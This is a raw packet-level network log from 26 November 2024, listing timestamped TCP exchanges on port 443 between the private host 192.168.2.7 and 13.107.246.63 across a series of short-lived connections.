Nov 26, 2024 13:45:00.357597113 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.357620001 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.357680082 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.358077049 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.358088970 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.413199902 CET	443	49998	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.416723967 CET	443	49998	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.416785002 CET	443	49998	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.416800022 CET	49998	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.416832924 CET	49998	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.442799091 CET	49998	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.442826986 CET	443	49998	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.442876101 CET	49998	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.442883015 CET	443	49998	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.447839975 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.447900057 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.447999954 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.448149920 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.448169947 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.869848013 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.870394945 CET	50000	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.870418072 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:00.870860100 CET	50000	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:00.870863914 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.321320057 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.323684931 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.323776007 CET	50000	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.323801994 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.323823929 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.323888063 CET	50000	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.323930025 CET	50000	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.323941946 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.323961020 CET	50000	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.323968887 CET	443	50000	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.328039885 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.328080893 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.328144073 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.328524113 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.328537941 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.513036966 CET	443	50001	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.513576031 CET	50001	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.513607979 CET	443	50001	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.514039993 CET	50001	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.514044046 CET	443	50001	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.957447052 CET	443	50001	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.957923889 CET	443	50001	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.958069086 CET	50001	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.961066008 CET	50001	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.961095095 CET	443	50001	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.961107016 CET	50001	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.961112976 CET	443	50001	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.968039036 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.968079090 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:01.968151093 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.968527079 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:01.968539953 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.087146044 CET	443	50002	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.087933064 CET	50002	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.087960958 CET	443	50002	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.088428974 CET	50002	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.088434935 CET	443	50002	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.149842978 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.150440931 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.150468111 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.150902987 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.150908947 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.229648113 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.231950998 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.232002020 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.232403040 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.232409954 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.535284996 CET	443	50002	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.538182020 CET	443	50002	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.540118933 CET	50002	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.540167093 CET	50002	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.540184975 CET	443	50002	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.540195942 CET	50002	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.540200949 CET	443	50002	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.544202089 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.544260979 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.544337034 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.544672012 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.544683933 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.598797083 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.598839045 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.598922968 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.598937035 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.598973989 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.601052999 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.601069927 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.601080894 CET	50003	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.601085901 CET	443	50003	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.606854916 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.606895924 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.606987000 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.607434988 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.607448101 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.678026915 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.678138971 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.678275108 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.684428930 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.684453964 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.684467077 CET	50004	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.684473038 CET	443	50004	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.689218044 CET	50009	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.689276934 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:02.689351082 CET	50009	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.689866066 CET	50009	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:02.689881086 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.112396002 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.113852024 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.113883018 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.114403963 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.114408970 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.651272058 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.651374102 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.651504040 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.651659966 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.651679993 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.651690960 CET	50005	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.651698112 CET	443	50005	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.659617901 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.659676075 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.659770012 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.659929991 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.659943104 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.752680063 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.753441095 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.753463984 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:03.753901958 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:03.753906965 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.219198942 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.221796989 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.221852064 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.221899033 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.221940041 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.222111940 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.222132921 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.222142935 CET	50006	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.222147942 CET	443	50006	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.239180088 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.239238977 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.239341021 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.239981890 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.240004063 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.395797968 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.404921055 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.404947996 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.405354977 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.405359983 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.613123894 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.637898922 CET	50009	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.637917995 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.638335943 CET	50009	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.638339996 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.841273069 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.844580889 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.844629049 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.844635963 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.844674110 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.844830036 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.844846010 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.844857931 CET	50008	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.844863892 CET	443	50008	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.849246025 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.849292994 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:04.849356890 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.849844933 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:04.849867105 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.067894936 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.070502996 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.070597887 CET	50009	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.070910931 CET	50009	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.070930004 CET	443	50009	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.095586061 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.095639944 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.095719099 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.095899105 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.095912933 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.387084961 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.389769077 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.389796019 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.390237093 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.390242100 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.823766947 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.825951099 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.829154968 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.829334021 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.829355001 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.829375982 CET	50010	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.829381943 CET	443	50010	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.834983110 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.835040092 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:05.835127115 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.835690022 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:05.835707903 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.024955988 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.025557041 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.025583982 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.026031971 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.026036024 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.471802950 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.474905968 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.474958897 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.474981070 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.475035906 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.475245953 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.475265980 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.475277901 CET	50011	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.475282907 CET	443	50011	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.482758045 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.482799053 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.482908964 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.483392954 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.483407021 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.643210888 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.643754959 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.643800020 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.644217968 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.644232035 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.892081022 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.892668962 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.892685890 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:06.893074989 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:06.893098116 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.088623047 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.091656923 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.091725111 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.091849089 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.091869116 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.091888905 CET	50012	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.091893911 CET	443	50012	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.096436977 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.096483946 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.096553087 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.096910000 CET	50016	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.096925974 CET	443	50016	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.342045069 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.345202923 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.345293999 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.345472097 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.345472097 CET	50013	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.345493078 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.345503092 CET	443	50013	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.350948095 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.351007938 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.351088047 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.351574898 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.351594925 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.690532923 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.691129923 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.691143036 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:07.691579103 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:07.691585064 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.267187119 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.268934011 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.269016027 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.269032955 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.269073963 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.269263983 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.269278049 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.269292116 CET	50014	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.269296885 CET	443	50014	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.278728008 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.278774023 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.278846025 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.279359102 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.279383898 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.470216036 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.470820904 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.470846891 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.471298933 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.471307993 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.927522898 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.931099892 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.933181047 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.933562994 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.933562994 CET	50015	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.933585882 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.933598995 CET	443	50015	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.936208963 CET	50019	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.936252117 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:08.936323881 CET	50019	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.936492920 CET	50019	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:08.936506033 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.088844061 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.089721918 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.089746952 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.090197086 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.090203047 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.530774117 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.535628080 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.535873890 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.535973072 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.535973072 CET	50017	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.536022902 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.536052942 CET	443	50017	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.563638926 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.563685894 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:09.563750029 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.563905954 CET	50020	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:09.563918114 CET	443	50020	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.064945936 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.065680027 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.065725088 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.066030979 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.066037893 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.488886118 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.489152908 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.489208937 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.489243031 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.491318941 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.491393089 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.491400957 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.492261887 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.492327929 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.492333889 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.498701096 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.498725891 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.519953966 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.523488045 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.523575068 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.523741961 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.523741961 CET	50018	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.523757935 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.523766994 CET	443	50018	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.526098967 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.526129007 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.526191950 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.526360035 CET	50021	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.526367903 CET	443	50021	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.854671001 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.855993032 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.856034994 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.856053114 CET	50007	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.856059074 CET	443	50007	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.856262922 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.856646061 CET	50019	443	192.168.2.7	13.107.246.63
Nov 26, 2024 13:45:10.856668949 CET	443	50019	13.107.246.63	192.168.2.7
Nov 26, 2024 13:45:10.857084036 CET	50019	443	192.168.2.7	13.107.246.63
